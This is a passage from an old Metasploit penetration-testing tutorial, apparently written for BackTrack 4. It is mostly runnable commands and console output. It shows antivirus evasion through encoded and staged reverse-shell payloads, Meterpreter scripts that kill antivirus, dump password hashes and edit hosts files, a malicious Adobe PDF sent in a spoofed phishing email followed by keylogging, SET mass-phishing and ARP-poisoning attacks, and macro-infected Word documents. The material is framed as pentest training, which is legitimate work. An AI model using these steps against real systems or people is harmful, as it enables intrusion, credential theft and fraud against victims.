jqs.exe C:\Program Files\Java\jre6\bin\jqs.exe 2412 my.exe C:\windows\my.exe 3052 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe meterpreter > As a final note if you have troubles gaining access, ensure that the files 'C:\windows\apsou.vbs' and 'C:\windows\my.exe' DO NOT exist on your target. If you attempt to re-exploit this client you will not be able to properly launch the vbs script. If you are still experiencing problems and you have ensured the files above are not on the system, please check the following locations in the registry and make changes as needed. Start > run : regedit navigate to: HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only change value to: 0 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags click Decimal change value to 3 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ make new dword with the name 1C00 value in hex 10000 HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags Now we should close regedit and start or restart IE and the new settings should apply. Antivirus Bypass As we have seen, the Metasploit binary payloads work great. However, there is a bit of a complication. Most Windows based systems currently run some form of anti-virus protection due to the widespread pervasiveness of malicious software targeting the platform. Let's make our example a little bit more real-world, and install the free version of AVG on the system and see what happens. Right away, our payload gets detected. Let's see if there is anything we can do to prevent this from being discovered by AVG. We will encode our produced executable in an attempt to make it harder to discover. We have used encoding before when exploiting software in avoiding bad characters so let's see if we can make use of it here. We will use the command line msfencode program. Lets look at some of the options by running msfencode with the '-h' switch. root@bt4:/pentest/exploits/framework3# ./msfencode -h Usage: ./msfencode OPTIONS: -a The architecture to encode as -b The list of characters to avoid: 'x00xff' -c The number of times to encode the data -e The encoder to use -h Help banner -i Encode the contents of the supplied file path -l List available encoders -m Specifies an additional module search path -n Dump encoder information -o The output file -s The maximum size of the encoded data -t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba) Let's see which encoders are available to us by running 'msfencode -l'. root@bt4:/pentest/exploits/framework3# ./msfencode -l Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 normal PHP Base64 encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder Excellent. We can see our options and some various encoders we can make use of. Let's use the raw output of msfpayload, and pipe that as input to msfencode using the "shikata ga nai encoder" (translates to "it can't be helped" or "nothing can be done about it"). From there, we'll output a windows binary. root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe [*] x86/shikata_ga_nai succeeded with size 315 (iteration=1) root@bt:/pentest/exploits/framework3# file /tmp/2.exe /tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit Perfect! Let's now transfer the binary to another system and see what happens. And... Well, that's not good. It is still being discovered by AVG. Well, we can't let AVG win, can we? Let's get a little crazy with it, and use three different encoders, two of which we will tell it to run through 10 times each, for a total of 21 encodes. This is about as much encoding as we can do and still have a working binary. AVG will never get past this! root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > /tmp/6.exe [*] x86/shikata_ga_nai succeeded with size 342 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 369 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 396 (iteration=4) [*] x86/shikata_ga_nai succeeded with size 423 (iteration=5) [*] x86/shikata_ga_nai succeeded with size 450 (iteration=6) [*] x86/shikata_ga_nai succeeded with size 477 (iteration=7) [*] x86/shikata_ga_nai succeeded with size 504 (iteration=8) [*] x86/shikata_ga_nai succeeded with size 531 (iteration=9) [*] x86/shikata_ga_nai succeeded with size 558 (iteration=10) [*] x86/call4_dword_xor succeeded with size 586 (iteration=1) [*] x86/call4_dword_xor succeeded with size 614 (iteration=2) [*] x86/call4_dword_xor succeeded with size 642 (iteration=3) [*] x86/call4_dword_xor succeeded with size 670 (iteration=4) [*] x86/call4_dword_xor succeeded with size 698 (iteration=5) [*] x86/call4_dword_xor succeeded with size 726 (iteration=6) [*] x86/call4_dword_xor succeeded with size 754 (iteration=7) [*] x86/call4_dword_xor succeeded with size 782 (iteration=8) [*] x86/call4_dword_xor succeeded with size 810 (iteration=9) [*] x86/call4_dword_xor succeeded with size 838 (iteration=10) [*] x86/countdown succeeded with size 856 (iteration=1) root@bt4:/pentest/exploits/framework3# file /tmp/6.exe /tmp/6.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit Ok, we will copy over the binary, run it aaaannnnd.... We failed! It still is discovered by AVG! How will we ever get past this? Well, it turns out there is a good reason for this. Metasploit supports two different types of payloads. The first sort, like 'window/shell_reverse_tcp', contains all the code needed for the payload. The other, like 'windows/shell/reverse_tcp' works a bit differently. 'windows/shell/reverse_tcp' contains just enough code to open a network connection, then stage the loading of the rest of the code required by the exploit from the attackers machine. So, in the case of 'windows/shell/reverse_tcp', a connection is made back to the attacker system, the rest of the payload is loaded into memory, and then a shell is provided. So what does this mean for antivirus? Well, most antivirus works on signature-based technology. The code utilized by 'windows/shell_reverse_tcp' hits those signatures and is tagged by AVG right away. On the other hand, the staged payload, 'windows/shell/reverse_tcp' does not contain the signature that AVG is looking for, and so is therefore missed. Plus, by containing less code, there is less for the anti-virus program to work with, as if the signature is made too generic, the false positive rate will go up and frustrate users by triggering on non-malicious software. With that in mind, let's generate a 'windows/shell/reverse_tcp' staged payload as an excutable. root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe Payload: windows/shell/reverse_tcp Length: 278 root@bt4:/pentest/exploits/framework3# file /tmp/7.exe /tmp/7.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit Ok, now we copy it over to the remote system and run it, then see what happens. root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 E [*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548) C:\Documents and Settings\Jim\My Documents>dir dir Volume in drive C has no label. Volume Serial Number is E423-E726 Directory of C:\Documents and Settings\Jim\My Documents 05/27/2009 09:56 PM . .. 05/25/2009 09:36 PM 9,728 7.exe 05/25/2009 11:46 PM Downloads 10/29/2008 05:55 PM My Music My Pictures 1 File(s) 9,728 bytes 5 Dir(s) 38,655,614,976 bytes free Success! Antivirus did not trigger on this new staged payload. We have successfully evaded antivirus on the system, and delivered our payload. Meterpreter Scripting One of the most powerful features of Meterpreter is the versatility and ease of adding additional features. This is accomplished through the Meterpreter scripting environment. This section will cover the automation of tasks in a Meterpreter session through the use of this scripting environment, how you can take advantage of Meterpreter scripting, and how to write your own scripts to solve your unique needs. Before diving right in, it is worth covering a few items. Like all of the Metasploit framework, the scripts we will be dealing with are written in Ruby and located in the main Metasploit directory in scripts/meterpreter. If you are not familiar with Ruby, a great resource for learning ruby is the online book "Programming Ruby" http://www.rubycentral.com/book/. Before starting, please take a few minutes to review the current subversion repository of Meterpreter scripts at http://dev.metasploit.com/redmine/projects/framework/repository/show/scripts/meterpreter. This is a great resource to utilize to see how others are approaching problems, and possibly borrow code which may be of use to you. Existing Meterpreter Scripts Metasploit comes with a ton of useful scripts that can aid you in the Metasploit Framework. These scripts are typically made by third parties and eventually adopted into the subversion repository. We'll run through some of them and walk you through how you can use them in your own penetration test. The scripts mentioned below are intended to be used with a Meterpreter shell after the successful compromise of a target. Once you have gained a session with the target you can utilize these scripts to best suit your needs. The 'checkvm' script, as its name suggests, checks to see if you exploited a virtual machine. This information can be very useful. meterpreter > run checkvm [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........ [*] This is a VMware Workstation/Fusion Virtual Machine The 'getcountermeasure' script checks the security configuration on the victims system and can disable other security measures such as A/V, Firewall, and much more. meterpreter > run getcountermeasure [*] Running Getcountermeasure on the target... [*] Checking for contermeasures... [*] Getting Windows Built in Firewall configuration... [*] [*] Domain profile configuration: [*] ------------------------------------------------------------------- [*] Operational mode = Disable [*] Exception mode = Enable [*] Standard profile configuration: [*] Local Area Connection 6 firewall configuration: [*] Checking DEP Support Policy... The 'getgui' script is used to enable RDP on a target system if it is disabled. meterpreter > run getgui Windows Remote Desktop Enabler Meterpreter Script Usage: getgui -u -p OPTIONS: -e Enable RDP only. -h Help menu. -p The Password of the user to add. -u The Username of the user to add. meterpreter > run getgui -e [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez carlos_perez@darkoperator.com [*] Enabling Remote Desktop [*] RDP is already enabled [*] Setting Terminal Services service startup mode [*] Terminal Services service is already set to auto [*] Opening port in local firewall if necessary The 'gettelnet' script is used to enable telnet on the victim if it is disabled. meterpreter > run gettelnet Windows Telnet Server Enabler Meterpreter Script Usage: gettelnet -u -p -e Enable Telnet Server only. meterpreter > run gettelnet -e [*] Windows Telnet Server Enabler Meterpreter Script [*] Setting Telnet Server Services service startup mode [*] The Telnet Server Services service is not set to auto, changing it to auto ... The 'killav' script can be used to disable most antivirus programs running as a service on a target. meterpreter > run killav [*] Killing Antivirus services on the target... [*] Killing off cmd.exe... The 'get_local_subnets' script is used to get the local subnet mask of a victim. This can be very useful information to have for pivoting. meterpreter > run get_local_subnets Local subnet: 10.211.55.0/255.255.255.0 The 'hostsedit' Meterpreter script is for adding entries to the Windows hosts file. Since Windows will check the hosts file first instead of the configured DNS server, it will assist in diverting traffic to a fake entry or entries. Either a single entry can be provided or a series of entries can be provided with a file containing one entry per line. meterpreter > run hostsedit -e Host entry in the format of IP,Hostname. -h Help Options. -l Text file with list of entries in the format of IP,Hostname. One per line. Example: run hostsedit -e 127.0.0.1,google.com run hostsedit -l /tmp/fakednsentries.txt meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com [*] Making Backup of the hosts file. [*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back [*] Adding Record for Host www.microsoft.com with IP 10.211.55.162 [*] Clearing the DNS Cache The 'remotewinenum' script will enumerate system information through wmic on victim. Make note of where the logs are stored. meterpreter > run remotewinenum Remote Windows Enumeration Meterpreter Script This script will enumerate windows hosts in the target environment given a username and password or using the credential under witch Meterpreter is running using WMI wmic windows native tool. Usage: -p Password of user on target system -t The target address -u User on the target system (If not provided it will use credential of process) meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128 [*] Saving report to /root/.msf3/logs/remotewinenum/10.211.55.128_20090711.0142 [*] Running WMIC Commands .... [*] running command wimic environment list [*] running command wimic share list [*] running command wimic nicconfig list [*] running command wimic computersystem list [*] running command wimic useraccount list [*] running command wimic group list [*] running command wimic sysaccount list [*] running command wimic volume list brief [*] running command wimic logicaldisk get description,filesystem,name,size [*] running command wimic netlogin get name,lastlogon,badpasswordcount [*] running command wimic netclient list brief [*] running command wimic netuse get name,username,connectiontype,localname [*] running command wimic share get name,path [*] running command wimic nteventlog get path,filename,writeable [*] running command wimic service list brief [*] running command wimic process list brief [*] running command wimic startup list full [*] running command wimic rdtoggle list [*] running command wimic product get name,version [*] running command wimic qfe list The 'winenum' script makes for a very detailed windows enumeration tool. It dumps tokens, hashes and much more. meterpreter > run winenum [*] Running Windows Local Enumerion Meterpreter Script [*] New session on 10.211.55.128:4444... [*] Saving report to /root/.msf3/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt [*] This is a VMware Workstation/Fusion Virtual Machine [*] Running Command List ... [*] running command cmd.exe /c set [*] running command arp -a [*] running command ipconfig /all [*] running command ipconfig /displaydns [*] running command route print [*] running command net view [*] running command netstat -nao [*] running command netstat -vb [*] running command netstat -ns [*] running command net accounts [*] running command net accounts /domain [*] running command net session [*] running command net share [*] running command net group [*] running command net user [*] running command net localgroup [*] running command net localgroup administrators [*] running command net group administrators [*] running command net view /domain [*] running command netsh firewall show config [*] running command tasklist /svc [*] running command tasklist /m [*] running command gpresult /SCOPE COMPUTER /Z [*] running command gpresult /SCOPE USER /Z [*] running command wmic computersystem list brief [*] running command wmic useraccount list [*] running command wmic group list [*] running command wmic service list brief [*] running command wmic volume list brief [*] running command wmic logicaldisk get description,filesystem,name,size [*] running command wmic netlogin get name,lastlogon,badpasswordcount [*] running command wmic netclient list brief [*] running command wmic netuse get name,username,connectiontype,localname [*] running command wmic share get name,path [*] running command wmic nteventlog get path,filename,writeable [*] running command wmic process list brief [*] running command wmic startup list full [*] running command wmic rdtoggle list [*] running command wmic product get name,version [*] running command wmic qfe [*] Extracting software list from registry [*] Finished Extraction of software list from registry [*] Dumping password hashes... [*] Hashes Dumped [*] Getting Tokens... [*] All tokens have been processed [*] Done! The 'scraper' script can grab even more system information, including the entire registry. meterpreter > run scraper [*] Gathering basic system information... [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg) From our examples above we can see that there are plenty of Meterpreter scripts for us to enumerate a ton of information, disable anti-virus for us, enable RDP, and much much more. Client Side Attacks As we have already discussed, Metasploit has many uses and another one we will discuss here is client side attacks. To show the power of how MSF can be used in client side attacks we will use a story. In the security world, social engineering has become an increasingly used attack vector. Even though technologies are changing, one thing that seems to stay the same is the lack of security with people. Due to that, social engineering has become a very "hot" topic in the security world today. In our first scenario our attacker has been doing a lot of information gathering using tools such as the Metasploit Framework, Maltego and other tools to gather email addresses and information to launch a social engineering client side attack on the victim. After a successful dumpster dive and scraping for emails from the web, he has gained two key pieces of information. 1) They use "Best Computers" for technical services. 2) The IT Dept has an email address of itdept@victim.com We want to gain shell on the IT Departments computer and run a key logger to gain passwords, intel or any other juicy tidbits of info. We start off by loading our msfconsole. After we are loaded we want to create a malicious PDF that will give the victim a sense of security in opening it. To do that, it must appear legit, have a title that is realistic, and not be flagged by anti-virus or other security alert software. We are going to be using the Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Vulnerability Adobe Reader is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data. An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the application or crash the application, denying service to legitimate users. So we start by creating our malicious PDF file for use in this client side attack. msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf FILENAME => BestComputers-UpgradeInstructions.pdf msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128 LHOST => 192.168.8.128 msf exploit(adobe_utilprintf) > set LPORT 4455 LPORT => 4455 msf exploit(adobe_utilprintf) > show options Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME BestComputers-UpgradeInstructions.pdf yes The file name. OUTPUTPATH /pentest/exploits/framework3/data/exploits yes The location of the file. Payload options (windows/meterpreter/reverse_tcp): EXITFUNC process yes Exit technique: seh, thread, process LHOST 192.168.8.128 yes The local address LPORT 4455 yes The local port 0 Adobe Reader v8.1.2 (Windows XP SP3 English) Once we have all the options set the way we want, we run "exploit" to create our malicious file. msf exploit(adobe_utilprintf) > exploit [*] Creating 'BestComputers-UpgradeInstructions.pdf' file... [*] Generated output file /pentest/exploits/framework3/data/exploits/BestComputers-UpgradeInstructions.pdf msf exploit(adobe_utilprintf) > So we can see that our pdf file was created in a sub-directory of where we are. So lets copy it to our /tmp directory so it is easier to locate later on in our exploit. Before we send the malicious file to our victim we need to set up a listener to capture this reverse connection. We will use msfconsole to set up our multi handler listener. msf exploit(handler) > set LPORT 4455 msf exploit(handler) > set LHOST 192.168.8.128 Now that our listener is waiting to receive its malicious payload we have to deliver this payload to the victim and since in our information gathering we obtained the email address of the IT Department we will use a handy little script called sendEmail to deliver this payload to the victim. With a kung-fu one-liner, we can attach the malicious pdf, use any smtp server we want and write a pretty convincing email from any address we want.... root@bt4:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. IT Dept, We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems. Sincerely, Best Computers Tech Support Aug 24 17:32:51 bt4 sendEmail[13144]: Message input complete. Aug 24 17:32:51 bt4 sendEmail[13144]: Email was sent successfully! As we can see here, the script allows us to put any FROM (-f) address, any TO (-t) address, any SMTP (-s) server as well as Titles (-u) and our malicious attachment (-a). Once we do all that and press enter we can type any message we want, then press CTRL+D and this will send the email out to the victim. Now on the victim's machine, our IT Department employee is getting in for the day and logging into his computer to check his email. He sees the very important document and copies it to his desktop as he always does, so he can scan this with his favorite anti-virus program. As we can see, it passed with flying colors so our IT admin is willing to open this file to quickly implement these very important upgrades. Clicking the file opens Adobe but shows a greyed out window that never reveals a PDF. Instead, on the attackers machine what is revealed.... session[*] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322) We now have a shell on their computer through a malicious PDF client side attack. Of course what would be wise at this point is to move the shell to a different process, so when they kill Adobe we don't lose our shell. Then obtain system info, start a key logger and continue exploiting the network. meterpreter > ps Process list ============ PID Name Path --- ---- ---- 852 taskeng.exe C:\Windows\system32\taskeng.exe 1308 Dwm.exe C:\Windows\system32\Dwm.exe 1520 explorer.exe C:\Windows\explorer.exe 2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 2196 VMwareUser.exe C:\Program FilesVMware\VMware Tools\VMwareUser.exe 3176 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe 3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe meterpreter > migrate 1520 [*] Migrating to 1520... [*] Migration completed successfully. Computer: OFFSEC-PC OS : Windows Vista (Build 6000, ). meterpreter > use priv Loading extension priv...success. meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... Support, I tried to open ti his file 2-3 times with no success. I even had my admin and CFO tru y it, but no one can get it to p open. I turned on the rmote access server so you can log in to fix our p this problem. Our user name is admin and password for that session is 123456. Call or eme ail when you are done. Thanks IT Dept GAME OVER Social-Engineering Toolkit The Social-Engineering Toolkit (SET) was designed by David Kennedy (ReL1K) and incorporates many useful Social-Engineering attacks all in one simplistic interface. The main purpose of SET is to automate and improve on many of the social-engineering attacks out there. As pentesters, social-engineering is often a practice that not many people perform. You can download the Social-Engineering Toolkit through subversion by simply typing this in Back|Track 4: svn co http://svn.thepentest.com/social_engineering_toolkit/ SET/ The beauty with the current version of SET is it does not require any external python modules, so all you need to do to fire it up is: root@bt4:/home/relik# cd SET/ root@ssdavebt4:/home/relik/SET# ./set [---] The Social Engineering Toolkit (SET) [---] [---] Written by David Kennedy (ReL1K) [---] [---] Version: 0.1 Alpha [---] Welcome to the Social Engineering Toolkit, your one-stop shop for all of your social engineering needs. Select from the menu on what you would like to do: 1. Automatic E-Mail Attacks 2. Website Attacks 3. Update the Metasploit Framework 4. Help 5. Exit the Toolkit Enter your choice: Note that this is a very alpha version of SET and is designed to be released with the launch of the Social-Engineering Framework (http://www.social-engineer.org). If you notice, the overall format of SET is very similar to that of Fast-Track's interactive menu. This was intentional as it will probably become a module in Fast-Track eventually. Scenario 1 You are targeting an organization and have used open-source tools, Google, and others and were able to extract 30 e-mail addresses. You want to send a blast of e-mails to these individuals in the hope that they will open your attachment and ultimately give you access to the system. The first thing you will need to do is create a list of the email addresses in the format below: bob@example.com joe@example.com jane@example.com josh@example.com Once we have a list generated, fire up SET, create a payload to connect back to you, and get ready for some shells. root@bt4:/home/relik/SET# ./set Enter your choice: 1 [---] Version: 0.1 Alpha [---] [---] E-Mail Attacks Menu [---] This menu will automate file-format email attacks for you. You will first have to create your own payload, you can easily do this by using the "Create a FileFormat Payload", then from there launch the mass e-mail attack. 1. Perform a Mass Email Attack 2. Create a Social-Engineering Payload 3. Return to Main Menu. Do you want to create a social-engineering payload now yes or no: yes Select the file format exploit you want. The default is the PDF embedded EXE. ***** METASPLOIT PAYLOADS ***** 1. Adobe Collab.collectEmailInfo Buffer Overflow 2. Adobe Collab.getIcon Buffer Overflow 3. Adobe JBIG2Decode Memory Corruption Exploit 4. Adobe PDF Embedded EXE Social Engineering 5. Adobe util.printf() Buffer Overflow 6. Custom EXE to VBA (sent via RAR) Enter the number you want (press enter for default): 4 You have selected the default payload creation. SET will generate a normal PDF with embedded EXE. 1. Windows Reverse TCP Shell 2. Windows Meterpreter Reverse Shell 3. Windows Reverse VNC 4. Windows Reverse TCP Shell (x64) Enter the payload you want: 1 Enter the IP address you want the payload to connect back to you on: 10.211.55.130 Enter the port you want to connect back on: 4444 Generating fileformat exploit... [*] Reading in 'src/msf_attacks/form.pdf'... [*] Parseing 'src/msf_attacks/form.pdf'... [*] Parseing Successfull. [*] Using 'windows/shell_reverse_tcp' as payload... [*] Creating 'template.pdf' file... [*] Generated output file /home/relik/SET/src/program_junk/template.pdf Payload creation complete. All payloads get sent to the src/msf_attacks/template.pdf directory Press enter to return to the prior menu. As an added bonus, use the file-format creator in SET to create your attachment. [-] A previous created PDF attack by SET was detected..Do you want to use the PDF as a payload? [-] Enter your answer yes or no: yes Social Engineering Toolkit Mass E-Mailer There are two options on the mass e-mailer, the first would be to send an email to one indivdual person. The second option will allow you to import a list and send it to as many people as you want within that list. What do you want to do: 1. E-Mail Attack Single Email Address 2. E-Mail Attack Mass Mailer 3. Return to main menu. Enter your choice: 2 Which template do you want to use? 1. Strange and Suspicious Computer Behavior 2. Email to SysAdmins, can't open PDF 3. Please Open up this Status Report 4. Enter your own message Enter your choice: 3 The mass emailer will allow you to send emails to multiple individuals in a list. The format is simple, it will email based off of a line. So it should look like the following: john.doe@ihazemail.com jane.doe@ihazemail.com wayne.doe@ihazemail.com This will continue through until it reaches the end of the file. You will need to specify where the file is, for example if its in the SET folder, just specify filename.txt (or whatever it is). If its somewhere on the filesystem, enter the full path, for example /home/relik/ihazemails.txt Enter the path to the file to import into SET: email.txt Enter your GMAIL email address: relik@gmail.com Enter your password for gmail (it will not be displayed back to you): Sent e-mail number: 1 Sent e-mail number: 2 Sent e-mail number: 3 Sent e-mail number: 4 SET has finished deliverying the emails. Do you want to setup a listener yes or no: yes Now that the emails have been sent and we have our listener up. We wait for the other end to do their job and click on our PDF. Now that user opens the PDF, and is presented with a working PDF. See below: On our Back|Track 4 system running the listener we now see this: [*] Command shell session 1 opened (10.211.55.130:4444 -> 10.211.55.140:1079) Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop> Another option for exploitation other than e-mail is creating a fake web-site that serves up a Metasploit Payload and once they visit, we serve a Java Applet "signed" by the Microsoft Corporation and if they accept it, our payload is delivered. Another instance we can use if we are on the inside of the network is an automatic ARP cache poison to where we can have SET poison a victim on the subnet and replace all the HREF's of the victim with our website. We'll use this scenario in the below example however, although ARP cache poisoning is an option, I would recommend combining cross-site scripting and a well crafted e-mail or phone call in order to get them to go to your site. The Social Engineering Toolkit "Web Attack" will create a fake "professional" looking website for you with malicious java applet code. When you entice a victim to the website either through social-engineering, a XSS vulnerability, E-Mail, or other options, it will prompt the user to say "Yes" to run the applet signed by Microsoft. Once accepted a payload will be run on the remote system and executed. The payload itself will be generated dynamically through Metasploit and the handler and everything be setup for you automatically through the SEF Web Attack toolkit. Do you wish to continue? y/n: y What payload do you want to generate: Name: Description: 1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker. 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker. 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker. 4. Windows Bind Shell Execute payload and create an accepting port on remote system. Enter choice (example 1-4): 2 Below is a list of encodings to try and bypass AV. Select one of the below, Avoid_UTF8_tolower usually gets past them. 1. avoid_utf8_tolower 2. shikata_ga_nai 3. alpha_mixed 4. alpha_upper 5. call4_dword_xor 6. countdown 7. fnstenv_mov 8. jmp_call_additive 9. nonalpha 10. nonupper 11. unicode_mixed 12. unicode_upper 13. alpha2 14. No Encoding Enter your choice : 2 Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 10.211.55.130 Enter the port of the Listener: 4444 Payload: windows/meterpreter/reverse_tcp Length: 274 Options: LHOST=10.211.55.130,LPORT=4444,ENCODING=shikata_ga_nai Do you want to start a listener to receive the payload yes or no: yes Launching Listener... *********************************************************************************************** Launching MSFCONSOLE on 'exploit/multi/handler' with PAYLOAD='windows/meterpreter/reverse_tcp' Listening on IP: 10.211.55.130 on Local Port: 4444 Using encoding: ENCODING=shikata_ga_nai Would you like to use ettercap to ARP poison a host yes or no: yes Ettercap allows you to ARP poison a specific host and when they browse a site, force them to use oursite and launch a slew of exploits from the Metasploit repository. ETTERCAP REQUIRED. What IP Address do you want to poison: 10.211.55.140 Setting up the ettercap filters.... Filter created... Compiling Ettercap filter... etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA 12 protocol tables loaded: DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth 11 constants loaded: VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP Parsing source file 'src/program_junk/ettercap.filter' done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to 'src/program_junk/ettercap.ef' done. -> Script encoded into 16 instructions. Filter compiled...Running Ettercap and poisoning target... *************************************************** Web Server Launched. Welcome to the SEF Web Attack. [--] Tested on IE6, IE7, IE8 and FireFox [--] Type -c to exit.. Let's take a peek at the victims browser: Notice on the bottom left hand side that the URL has been replaced with the website of our malicious site. Now the victim performs a normal Google search. Let's see what happens: Notice that the security warning is asking us to trust an application signed by the Microsoft Corporation. After the user accepts and runs the application, some good stuff is presented back to us: [*] Meterpreter session 1 opened (10.211.55.130:4444 -> 10.211.55.140:1129) msf exploit(handler) > sessions -i 1 meterpreter > execute -f cmd.exe -i Process 2596 created. For a video of this attack online, check out David Kennedy's vimeo page here. SET is still a work in progress and new attacks will be getting released within the toolset. SET utilizes multiple attack vectors in order to make your social-engineering experience a little bit easier. VBScript Infection Methods Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit payloads. You can also use your own custom payloads as well. It doesn't necessarily need to be a Metasploit payload. This method is useful when going after client-side attacks and could also be potentially useful if you have to bypass some sort of filtering that does not allow executables and only permits documents to pass through. First things first, lets create our VBScript and set up a Metasploit listener. root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=10.211.55.162 LPORT=8080 ENCODING=shikata_ga_nai X > payload.exe Length: 280 Options: LHOST=10.211.55.162,LPORT=8080,ENCODING=shikata_ga_nai root@bt4:/pentest/exploits/framework3# mv payload.exe tools/ root@bt4:/pentest/exploits/framework3# cd tools/ root@bt4:/pentest/exploits/framework3/tools# ruby exe2vba.rb payload.exe payload.vbs [*] Converted 14510 bytes of EXE into a VBA script root@bt4:/pentest/exploits/framework3/tools# cd.. root@bt4:/pentest/exploits/framework3# ./msfcli | grep multi/handler exploit/multi/handler Generic Payload Handler root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp ENCODING=shikata_ga_nai LPORT=8080 LHOST=10.211.55.162 E To recap everything we have performed up until now, we have created our payload using the shikata_ga_nai polymorphic encoder, turned it into an executable, had it connect back to us on port 8080 at host 10.211.55.162. We then convert our executable to VBScript using the "exe2vba.rb" script in the tools section. Once this is complete, you will need to get on a Windows machine that has Word on it and perform the following steps: In Word or Excel 2003, go to Tools, Macros, Visual Basic Editor, if you're using Word/Excel 2007, go to View Macros, then place a name like "moo" and select "create". This will open up the visual basic editor. Paste the output of the payload.vbs file into the editor, save it and type some junk into the actual word doc itself. This is when you would perform the client-side attack by emailing this Word document to someone. In order to keep user suspicion low, try embedding the code in one of the many Word/Excel games that are available on the Internet. That way, the user is happily playing the game while you are working in the background. This gives you some extra time to migrate to another process if you are using Meterpreter as a payload. Here we give a generic name to the macro. First, test out the document by opening it up, check back to where we have our Metasploit exploit/multi/handler listener: [*] Sending stage (205824 bytes) [*] Meterpreter session 1 opened (10.211.55.162:8080 -> 10.211.55.134:1696) Process 2152 created. C:\Documents and Settings\rel1k> Success! We have a Meterpreter shell right to the system that opened the document, and best of all, it doesn't get picked up by anti-virus!!! Note there are multiple methods to do this, you could also use the: root@bt4:./msfpayload windows/meterpreter/reverse_tcp LHOST=10.211.55.162 LPORT=8080 ENCODING=shikata_ga_nai Y > payload.exe This will output the payload to a vbs script so 